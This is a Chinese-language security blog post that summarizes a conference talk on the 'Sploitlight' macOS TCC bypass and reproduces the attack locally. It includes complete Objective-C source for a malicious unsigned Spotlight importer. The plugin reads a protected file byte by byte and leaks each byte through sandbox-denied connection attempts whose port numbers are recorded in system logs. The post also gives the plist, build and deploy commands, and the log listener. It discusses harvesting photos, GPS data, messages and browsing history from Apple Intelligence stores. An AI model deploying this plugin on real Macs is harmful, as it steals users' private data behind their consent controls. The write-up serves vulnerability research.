macos-无网络权限下利用沙箱日志侧信道数据重构

Posted by Closure on November 24, 2025

会议原地址-(Sploit)Lights, Camera, Action! Exploiting Spotlight to Bypass TCC and Leak Data from Apple Intelligence

Abstract

This talk unveils a novel macOS TCC (Transparency, Consent, and Control) bypass (CVE-2025-31199), leveraging Spotlight plugins to gain unauthorized access to sensitive user data. The vulnerability, privately disclosed to Apple in February 2025, highlights a critical gap in Apple’s privacy protections. We will walk through the discovery process, exploitation methodology, and implications for macOS users.

In addition to the TCC bypass, the talk will explore how Apple Intelligence handles private data, including DB file access, querying sensitive content, and multi-user system behavior. We will discuss how a single, trivial TCC bypass can expose sensitive data locally and remotely.

The presentation will conclude with recommendations for hardening Apple’s privacy infrastructure and mitigating similar threats.

mac用来管理用户隐私数据的机制,确保用户明确同意应用访问敏感信,不局限在chmod/chown,还有更高一层的隐私控制。保护范围包括括文件 位置 iCloud 摄像头 麦克风 日记等等。

用户级位于* ~/Library/Application Support/com.apple.TCC/TCC.db,系统级位于 /Library/Application Support/com.apple.TCC/TCC.db*

在现代mac系统渗透中就算是获得root也不是拥有一切,如果尝试读取受TCC保护的文件,比如照片,即使是root也会收到 Operation not permitted,并且大概率触发弹窗提示用户。

现在目标通常是实现TCC Bypass,像完全绕过是能够修改 TCC.db,部分绕过就是本次讨论范围,它不修改数据库,而是利用已经拥有TCC权限的合法程序作为代理来读取数据。

Entitlements

Entitlements是以Key-Value对形式硬编码在二进制文件的数字签名中的权限声明,作用是系统内核在决定是否允许一个进程执行敏感操作时,检查该进程是否拥有对应的Entitlement。

分类有公开/私有Entitlements,前者是如com.apple.security.network.client,后者是只有苹果签名的系统二进制文件才能拥有,比如com.apple.private.tcc.allow,拥有这个 Entitlement 的进程可以直接访问TCC保护的数据。

Entitlements是无法伪造的,所有我们策略是寻找那些拥有高权限Entitlements的系统二进制文件注入代码。演讲ppt里面指出了大多数TCC绕过技术都集中在攻击拥有TCC特定的Entitlements进程上 。

就像作者说的Spotlight工作进程mdworker_shared拥有 com.apple.private.tcc.allow,其中包含 kTCCServiceSystemPolicyAllFiles,能控制 mdworker就继承了全盘访问权。

SIP

SIP也可以叫Rootless,是mac的底层保护机制,限制roo权限,防止修改受保护的系统和预装的应用。

SIP保护了系统级的TCC.db,即使获得了Full Disk Access权限,由于SIP的存在通常也只能读取该数据库而无法写入。

在没有内核级漏洞的情况下,通常不尝试直接关闭或绕过SIP(动静太大了

所以由于无法修改系统二进制文件,只能用LoLBin的方法来利用系统自带的的机制来达到目的。

Spotlight & mdimporter

Spotlight 是 macOS 的全盘搜索索引服务。

架构:

  • mds:核心管理进程 。
  • mdworker / mdworker_shared:负责实际干活进程,负责打开文件 解析内容并提取元数据,为了建立索引必须能读取所有文件,因此拥有全盘访问权限。
  • 插件架构: Spotlight不可能预知所有文件格式,因此它支持插件,称为mdimporter。

关键漏洞点是用户可以在自己的目录下放置自定义的插件,这是个很好的载体,我们的恶意代码会被加载到mdworker进程中运行,mdworker拥有TCC全盘访问权限,我的代码也会自动继承了这个权限。

Spotlight加载这些插件时不验证代码签名,无需苹果开发者证书,并且只要插件放在那里,系统就会自动加载,这完全是一个天然的持久化和提权通道(

Sploitlight

利用macOS Spotlight机制进行的TCC绕过攻击,通过加载恶意的Spotlight插件,用的是系统进程的高权限读取受保护文件并通过日志侧信道泄露数据。

CVE-2025-31199是初始漏洞,利用系统日志直接打印敏感数据泄露。

CVE-2025-43409是进阶漏洞,利用内核沙箱报错作为侧信道泄露数据。

根本原因是macOS架构设计中的三个关键要素的组合:

高权限的系统服务:Spotlight的索引工作进程mdworker必须能够读取磁盘上的所有文件以建立索引,因此拥有极高的Entitlements也包括了 com.apple.private.tcc.allow,其中赋予了它 Full Disk Access,所以不受TCC弹窗限制。

插件加载机制:为了支持多种文件格式,Spotlight允许加载插件,用户可以在用户目录 ~/Library/Spotlight/ 下放置自定义插件,且系统在加载这些插件时不强制要求代码签名,所以攻击者可以将任意未签名的代码注入到拥有全盘访问权限的mdworker进程中运行。

沙箱的侧信道泄露:虽然mdworker运行在沙箱中 限制了网络访问,但沙箱的拦截行为本身会生成详细的内核日志,攻击者利用这一点构建了Oracle来泄露数据。

这个危害力度在现代社会还挺严重的()

因为Apple Intelligence为了实现端侧AI 处理,需要大量缓存用户的个人数据,这些数据又通常以数据库文件的形式存储在本地,比如最常见的照片库数据挖掘,Apple Intelligence极度依赖照片库来进行图像识别和自然语言搜索。攻击者可以访问~/Library/Photos/Libraries/Syndication.photoslibrary/database/Photos.sqlite等数据库,获取地理位置数据&面部与人物识别&元数据与描述&用户行为。

会议上PPT展示了通过SQL查询提取出一张猫的照片信息,包括标题 Sushi the cat、描述和精确的GPS坐标 。

而且Apple Intelligence的写作工具和摘要功能需要访问邮件和短信内容,iMessage意味着攻击者可以读取完整的短信记录,邮件则是内容和邮箱地址。

针对Safari浏览器可以读取用户的完整浏览历史记录,系统中的天气服务会缓存当前位置信息,通过读取current-location.db可以获取用户当前的精确地理坐标。

总之就是能看的东西太多力

攻击链

分为v1v2

V1

最原始的利用方式,编写一个恶意的 .mdimporter,在核心函数GetMetadataForFile中实现文件读取逻辑。

执行是插件打开受TCC保护的目标文件,读取文件内容的十六进制字节,使用NSLog将读取到的内容直接打印到系统日志中。攻击者运行 log stream 命令监听日志,直接抓取明文数据。

但是已经被苹果通过改进数据脱敏修复了,NSLog不显示敏感信息。

v2

我看了下报告觉得这一阶段的攻击是利用内核沙箱的错误报告机制构建侧信道。

核心机制是沙箱侧信道,利用了mdworker进程的沙箱限制作为预言机,Spotlight的索引进程 mdworker运行在严格的沙箱中,配置明确禁止出站网络连接,当进程尝试违反这一规则,例如发起 Socket 连接时,内核会强制终止连接,并在系统日志中生成一条包含目标IP和目标端口的错误记录。

本地复现v2

拆分成恶意代码–部署-监听-触发,目标是通过侧信道读取一个测试文件内容,不触发 TCC 弹窗。

一开始是想看能不能开启摄像头/麦克风啥的,结果不可行。

原因是宿主进程的权限天花板,我的Payload是加载到Spotlight的工作进程mdworker_shared中运行的,通过查看文档中mdworker_shared的授权列表是没有麦克风的,你果设计Spotlight 的初衷是索引文件,只是被授予了读取全盘文件的最高权限。

那我都有全盘文件访问权限了,直接改TCC.db把自己添加到摄像头白名单不就行了(

还是不能,翻了下ppt有看见系统级的TCC数据库受到SIP的保护,拥有Full Disk Access只能让我读取TCC.db,但是SIP会阻止任何进程写入数据库。

根据ppt49和50页,我们需要编写一个Objective-C文件来实现GetMetadataForFile函数,逐字节读取目标文件并尝试连接一个端口。 #include <CoreFoundation/CoreFoundation.h> #import <Cocoa/Cocoa.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h>

void openSocket(uint8_t byte) {
    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) {
        // NSLog(@"Failed to create socket");
        return;
    }
    
    struct sockaddr_in serv_addr;
    memset(&serv_addr, 0, sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
    
    serv_addr.sin_port = htons(1000 + byte);
    
    if (inet_pton(AF_INET, "8.8.8.8", &serv_addr.sin_addr) <= 0) {
        // NSLog(@"Invalid address");
    }
    
    connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
    
    close(sockfd);
    return;
}

Boolean GetMetadataForFile(void *thisInterface, CFMutableDictionaryRef attributes, CFStringRef contentTypeUTI, CFStringRef pathToFile) {
    NSString *filePath = (__bridge NSString *)pathToFile;
    NSFileHandle *handle = [NSFileHandle fileHandleForReadingAtPath:filePath];
    
    int limit = 10; 
    int count = 0;

    while (count < limit) {
        NSData *byteData = [handle readDataOfLength:1];
        if ([byteData length] == 0) {
            break; // EOF
        }
        
        uint8_t byte;
        [byteData getBytes:&byte length:1];
        
        openSocket(byte);
        
        usleep(10000); 
        count++;
    }
    
    [handle closeFile];
    return true;
}

然后是.mdimporter 的包结构,为了方便复现得定义一个新的文件扩展名.spoc,让我们的插件专门索引这种文件。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>CFBundleDevelopmentRegion</key>
    <string>English</string>
    <key>CFBundleDocumentTypes</key>
    <array>
        <dict>
            <key>CFBundleTypeRole</key>
            <string>MDImporter</string>
            <key>LSItemContentTypes</key>
            <array>
                <string>com.example.sploitlight.target</string>
            </array>
        </dict>
    </array>
    <key>CFBundleExecutable</key>
    <string>Sploitlight</string>
    <key>CFBundleIdentifier</key>
    <string>com.example.mdimporter.Sploitlight</string>
    <key>CFBundleInfoDictionaryVersion</key>
    <string>6.0</string>
    <key>CFBundleName</key>
    <string>Sploitlight</string>
    <key>CFBundleVersion</key>
    <string>1.0</string>
    <key>CFPlugInDynamicRegisterFunction</key>
    <string></string>
    <key>CFPlugInDynamicRegistration</key>
    <string>NO</string>
    <key>CFPlugInFactories</key>
    <dict>
        <key>UUID-GOES-HERE</key>
        <string>MetadataImporterPluginFactory</string>
    </dict>
    <key>CFPlugInTypes</key>
    <dict>
        <key> </key>
        <array>
            <string>UUID</string>
        </array>
    </dict>
    <key>CFPlugInUnloadFunction</key>
    <string></string>
    <key>UTExportedTypeDeclarations</key>
    <array>
        <dict>
            <key>UTTypeConformsTo</key>
            <array>
                <string>public.data</string>
                <string>public.content</string>
            </array>
            <key>UTTypeDescription</key>
            <string>Sploitlight Target File</string>
            <key>UTTypeIdentifier</key>
            <string>com.example.sploitlight.target</string>
            <key>UTTypeTagSpecification</key>
            <dict>
                <key>public.filename-extension</key>
                <array>
                    <string>spoc</string>
                </array>
            </dict>
        </dict>
    </array>
</dict>
</plist>

然后根据文档,插件可以直接放在 ~/Library/Spotlight/ 下,不需要签名也不需要 root。

mkdir -p Sploitlight.mdimporter/Contents/MacOS

clang -dynamiclib \
-framework CoreFoundation -framework Foundation \
-arch x86_64 \
-o Sploitlight.mdimporter/Contents/MacOS/Sploitlight \
GetMetadataForFile.m

cp Info.plist Sploitlight.mdimporter/Contents/

mkdir -p ~/Library/Spotlight
rm -rf ~/Library/Spotlight/Sploitlight.mdimporter 
cp -r Sploitlight.mdimporter ~/Library/Spotlight/

mdimport -r ~/Library/Spotlight/Sploitlight.mdimporter

然后创建一个目标文件 强制Spotlight索引。

看日志找mdworker产生的Sandbox deny 错误

log stream --predicate 'process == "mdworker" AND eventMessage CONTAINS "deny"'

然后创建一个包含敏感数据的文件

echo -n "qwq" > ~/Desktop/secret.spoc

强制导入该文件

mdimport -d 2 ~/Desktop/secret.spoc mdimport -d 2 ~/Desktop/secret.spoc

完事了 成功解码

大致原理是mdworker进程本身拥有SystemPolicyAllFiles 权限,允许它读取我的 secret.spoc。

虽然沙箱阻止了网络连接,但是将尝试连接的端口号记录在了系统日志,通过控制端口就可以将文件内容泄露到了日志中,而普通应用是可以读取这些日志或者通过视觉确认的。

延伸

为什么要死磕Spotlight?就像之前说的,Spotlight为了能工作必须拥有遍历文件系统的权限,这是设计上的硬性需求,无法通过简单的补丁移除,而且Spotlight必须处理成千上万种文件格式,而这些文件是由用户控制的,为了处理这些格式必须加载插件。

macos攻击几乎都不是直接攻击核心,而是攻击那些由于业务逻辑需要而必须拥有核心权限的边缘组件。在现代mac上,内存破坏漏洞的开发成本太高而且不稳定,Sploitlight的优势就很明显了()

一是很稳定,利用的是系统如何决定加载哪个插件的逻辑,只要配置正确利用就是100%稳定的,不会导致Kernel Panic。二是对抗蓝队的静态分析,没有shellcode,没有ROP链,使用的是签名的系统二进制文件和合法的配置文件格式。

沙箱的设计初衷是阻止网络连接,当mdworker尝试联网时会拦截并记录日志,但是任何能产生可观测状态变化的系统行为,都是信息传输通道。

如本文提到的,沙箱不仅没能阻止泄露,反而通过系统日志帮助完成了数据的可靠传输。在受限环境中除了打破墙壁还能试着找回声,错误日志、CPU 负载、文件锁状态都可以成为我们的数据传输载体。

而且AI整合进macOS绝对是大势所趋,大量非结构化数据被转化结构化的语义索引,以前攻击需要下载整张照片,人工分析是否包含敏感信息。现在通过攻击AI的索引可以直接查询包含信用卡的图片了(